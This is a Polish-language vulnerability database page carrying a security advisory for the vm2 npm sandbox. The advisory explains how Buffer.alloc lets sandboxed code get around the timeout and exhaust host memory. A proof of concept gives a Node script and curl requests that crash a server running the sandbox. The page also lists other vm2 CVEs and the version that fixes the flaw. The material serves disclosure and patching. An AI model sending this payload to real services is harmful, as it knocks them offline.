Wysoka

vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion

  • Ujawniono: 07.05.2026
  • Aktualizacja: 11.10.2026 10:22

Summary

Sandboxed code can call Buffer.alloc() with an arbitrary size to allocate memory directly on the host heap. Because Buffer.alloc is a synchronous C++ native call, vm2's timeout option cannot interrupt it. A single request can exhaust host memory and crash the process with a FATAL ERROR: Reached heap limit.

Details

In lib/vm.js:58, Buffer is exposed to the sandbox through the HOST object. The bridge proxy (lib/bridge.js) passes Buffer.alloc() calls to the host without any size validation.

Key technical distinction from regular JavaScript memory exhaustion (e.g., while(true) a.push(...)):

  • JavaScript loops: V8 can interrupt via timeout — vm2's timeout option works
  • Buffer.alloc(N): Executes as a single synchronous C++ call — V8 timeout has no opportunity to interrupt

This means:

  1. timeout: 5000 does NOT protect against this attack
  2. A single call allocates the entire requested size at once
  3. In memory-constrained environments (Docker, Lambda, Kubernetes pods), this causes immediate OOM crash

Tested amplification factor: ~100 bytes HTTP request — 1,000,000:1 or greater (100 bytes request to 100MB+ host heap allocation).

PoC

Library-level PoC (Node.js script — primary):

js
const { VM } = require("vm2");
const vm = new VM({ timeout: 5000 });

// Buffer.alloc bypasses timeout — allocates 100MB on host heap
const result = vm.run(`Buffer.alloc(1024*1024*100).length`);
console.log(result); // 104857600 — timeout had no effect

// Control test — JavaScript loop IS caught by timeout
try {
  vm.run(`var a=[]; while(true) a.push(1)`);
} catch(e) {
  console.log(e.message); // "Script execution timed out after 5000ms"
}

HTTP demonstration (OOM crash):

bash
# 1. Confirm server is running
curl -s http://localhost:3000/api/execute \
  -X POST -H "Content-Type: application/json" \
  -d '{"code":"\"alive\""}'
# => {"result":"\"alive\""}

# 2. Send Buffer.alloc payload — process crashes with OOM
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"Buffer.alloc(1024*1024*100).length"}'
# => empty response (process died)

# 3. Check server logs:
# FATAL ERROR: Reached heap limit Allocation failed - JavaScript heap out of memory

# Control test — JavaScript loop IS caught by timeout:
curl -s -X POST http://localhost:3000/api/execute \
  -H "Content-Type: application/json" \
  -d '{"code":"var a=[]; while(true) a.push(1)"}'
# => {"errors":["Script execution timed out after 5000ms"]}
# Server stays alive — timeout works for JS, but NOT for Buffer.alloc

Impact

  • DoS: A single HTTP request crashes the host Node.js process via OOM. The timeout option provides no protection.
  • Environment-dependent severity:
    • Memory-constrained environments (Docker with memory limits, Kubernetes pods, Lambda): The allocation exceeds the memory limit, causing immediate process termination via OOM. This is the primary threat scenario — FATAL ERROR: Reached heap limit was confirmed in testing.
    • Unconstrained environments: The allocation succeeds and memory is reclaimed by GC after the request completes, resulting in temporary performance degradation rather than a crash.
  • Scope: All applications using vm2. Default configuration is vulnerable. Memory-constrained environments (Docker, Kubernetes, Lambda) are most severely impacted.

Czego dotyczy

Kliknij technologię, aby zobaczyć wszystkie dotyczące jej podatności.

PlatformaPaczkaPodatne wersjePoprawka w wersji
Paczka npm vm2 < 3.11.0 3.11.0

Odnośniki

Ocena CVSS 7.5/10
Wektor CVSS
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Słabość (CWE)
CWE-770
Platforma
npm
Paczka
vm2
Ujawniono
07.05.2026
Aktualizacja
11.10.2026 10:22

Źródła i licencje

OSV / GitHub Advisory Database - GHSA-6785-pvv7-mvg7 - CC BY 4.0

Historia podatności: vm2

Wszystkie opisane podatności tej paczki (Paczka npm), od najnowszej. Widać, czy to jednorazowa wpadka, czy paczka, której trzeba pilnować.

Wszystkie (78) w archiwum
Wszystkich wpisów
78
Pierwsza → ostatnia
10.2021 10.2026
Bez poprawki
1
Wykorzystywana w atakach
0

Rozkład istotności

  • Krytyczna 51
  • Wysoka 14
  • Średnia 12
  • Niska 1

Ujawnienia w latach

  1. 2021: 1
  2. 2022: 4
  3. 2023: 7
  4. 2024: 0
  5. 2025: 0
  6. 2026: 66
Istotność:
  1. Krytyczna · 10.0 CVE-2026-93605 < 3.12.1 3.12.1
  2. Krytyczna · 10.0 CVE-2026-100721 < 3.12.2 3.12.2
  3. Krytyczna · 10.0 CVE-2026-92955 < 3.11.8 3.11.8
  4. Krytyczna · 10.0 CVE-2026-92956 >= 3.10.1, < 3.11.7 3.11.7
  5. Krytyczna · 9.9 CVE-2026-92948 >= 3.9.6, < 3.11.7 3.11.7
  6. Krytyczna · 10.0 CVE-2026-92940 >= 3.11.3, < 3.11.7 3.11.7
  7. Krytyczna · 9.0 CVE-2026-92935 >= 3.11.4, < 3.11.7 3.11.7
  8. Krytyczna · 10.0 CVE-2026-92937 >= 3.11.6, < 3.11.7 3.11.7
  9. Krytyczna · 9.9 CVE-2026-92938 >= 3.11.3, < 3.11.7 3.11.7
  10. Krytyczna · 9.9 CVE-2026-92939 >= 3.11.3, < 3.11.7 3.11.7
  11. Krytyczna · 9.8 CVE-2026-92944 >= 3.10.2, < 3.11.7 3.11.7
  12. Krytyczna · 10.0 CVE-2026-92941 >= 3.11.3, < 3.11.7 3.11.7
  13. Wysoka · 7.5 CVE-2026-92961 < 3.11.6 3.11.6
  14. Krytyczna · 9.8 CVE-2026-47698 < 3.11.6 3.11.6
  15. Krytyczna · 9.9 CVE-2026-47686 < 3.11.6 3.11.6
  16. Krytyczna · 9.8 CVE-2026-47210 < 3.11.4 3.11.4
  17. Krytyczna · 10.0 CVE-2026-47208 < 3.11.4 3.11.4
  18. Krytyczna · 10.0 CVE-2026-47131 < 3.11.4 3.11.4
  19. Krytyczna · 9.8 CVE-2026-45411 < 3.11.3 3.11.3
  20. Krytyczna · 9.8 CVE-2026-44009 < 3.11.2 3.11.2
  21. Krytyczna · 9.8 CVE-2026-44008 < 3.11.2 3.11.2
  22. Wysoka · 8.5 CVE-2026-43998 >= 3.10.5, < 3.11.0 3.11.0
  23. vm2 Sandbox Access to Host Buffer.alloc Allows timeout Bypass Resulting in Memory Exhaustion ten wpis
    Wysoka · 7.5 CVE-2026-44004 < 3.11.0 3.11.0
  24. Krytyczna · 10.0 CVE-2026-44005 >= 3.9.6, < 3.11.0 3.11.0
  25. Krytyczna · 10.0 CVE-2026-43997 < 3.11.0 3.11.0
  26. Krytyczna · 10.0 CVE-2026-44006 < 3.11.0 3.11.0
  27. Krytyczna · 9.8 CVE-2026-26956 < 3.10.5 3.10.5
  28. Krytyczna · 9.8 CVE-2026-26332 < 3.11.0 3.11.0
  29. Krytyczna · 9.8 CVE-2026-24781 < 3.11.0 3.11.0
  30. Krytyczna · 9.8 CVE-2026-24120 < 3.10.5 3.10.5
  31. Krytyczna · 9.8 CVE-2026-24118 < 3.11.0 3.11.0
  32. Krytyczna · 9.8 CVE-2026-22709 < 3.10.2 3.10.2
  33. Krytyczna · 9.8 CVE-2023-37466 < 3.10.0 3.10.0
  34. Krytyczna · 9.8 CVE-2023-37903 <= 3.9.19 brak poprawki
  35. Krytyczna · 9.8 CVE-2023-32314 < 3.9.18 3.9.18
  36. Krytyczna · 9.8 CVE-2023-30547 < 3.9.17 3.9.17
  37. Krytyczna · 9.8 CVE-2023-29199 < 3.9.16 3.9.16
  38. Krytyczna · 9.8 CVE-2023-29017 < 3.9.15 3.9.15
  39. Krytyczna · 9.8 CVE-2022-25893 < 3.9.10 3.9.10
  40. Krytyczna · 10.0 CVE-2022-36067 < 3.9.11 3.9.11
  41. Wysoka · 8.3 CVE-2019-10761 < 3.6.11 3.6.11
  42. Krytyczna · 9.8 CVE-2021-23555 < 3.9.6 3.9.6
  43. Krytyczna · 9.8 CVE-2021-23449 < 3.9.4 3.9.4

Dowiedz się, które podatności dotyczą Twojej aplikacji

Po podłączeniu integracji DockRay i włączeniu raportowania oprogramowania DockRay porównuje zgłoszone wersje komponentów ze znanymi podatnościami i powiadamia o potwierdzonych dopasowaniach. Zakres zależy od obsługiwanej technologii i dostępnych biuletynów.

Podłącz swoją aplikację
Newsletter DockRay

Bezpieczeństwo aplikacji w Twojej skrzynce

Najważniejsze podatności, konkretne zalecenia i praktyczne wskazówki dla Twoich aplikacji. Wybierz technologie i śledź to, co ma znaczenie dla Twojego projektu.

  • Codzienne zestawienie nowych podatności, także krytycznych.
  • Powiadomienia o ważnych aktualizacjach.
  • Praktyczne porady o bezpieczeństwie i monitoringu aplikacji.

Pozostaw puste, aby otrzymywać informacje o wszystkich technologiach.

Zapis jest bezpłatny. Wypiszesz się jednym kliknięciem w wiadomości.